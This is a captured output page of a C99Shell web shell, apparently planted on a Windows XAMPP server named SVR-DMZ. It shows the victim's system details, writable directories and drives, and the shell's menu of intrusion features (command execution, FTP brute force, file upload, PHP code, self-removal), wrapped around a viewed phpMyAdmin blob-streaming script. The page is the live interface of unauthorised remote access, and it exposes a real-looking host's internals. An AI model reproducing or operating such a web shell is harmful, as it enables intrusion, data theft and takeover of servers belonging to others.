!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\phpMyAdmin\   drwxrwxrwx
Free 8.81 GB of 239.26 GB (3.68%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     bs_disp_as_mime_type.php (1.75 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * @author      Raj Kissu Rajandran
 * @version     1.0
 * @package     BLOBStreaming
 */

/**
 * Core library.
 */
require_once './libraries/common.inc.php';

// load PMA configuration
$PMA_Config $_SESSION['PMA_Config'];

// retrieve BS server variables from PMA configuration
$bs_server $PMA_Config->get('BLOBSTREAMING_SERVER');
if (empty(
$bs_server)) die('No blob streaming server configured!');

// Check URL parameters
PMA_checkParameters(array('reference''c_type'));

// Increase time limit, because fetching blob might take some time
set_time_limit(0);

$reference $_REQUEST['reference'];
/*
 * FIXME: Maybe it would be better to check MIME type against whitelist as
 * this code sems to support only few MIME types (check
 * function PMA_BS_CreateReferenceLink in libraries/blobstreaming.lib.php).
 */
$c_type preg_replace('/[^A-Za-z0-9/_-]/''_'$_REQUEST['c_type']);

$filename 'http://' $bs_server '/' $reference;

$hdrs get_headers($filename1);

if (
$hdrs === FALSE) die('Failed to fetch headers');

$fHnd fopen($filename"rb");

if (
$fHnd === FALSE) die('Failed to open remote URL');

$f_size $hdrs['Content-Length'];

header("Expires: 0");
header("Last-Modified: " gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0"false);
header("Pragma: no-cache");
header("Content-type: $c_type");
header('Content-length: ' $f_size);
header("Content-disposition: attachment; filename=" basename($filename));

$pos 0;
$content "";

while (!
feof($fHnd)) {
    
$content .= fread($fHnd$f_size);
    
$pos strlen($content);

    if (
$pos >= $f_size)
        break;
}

echo 
$content;
flush();

fclose($fHnd);

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--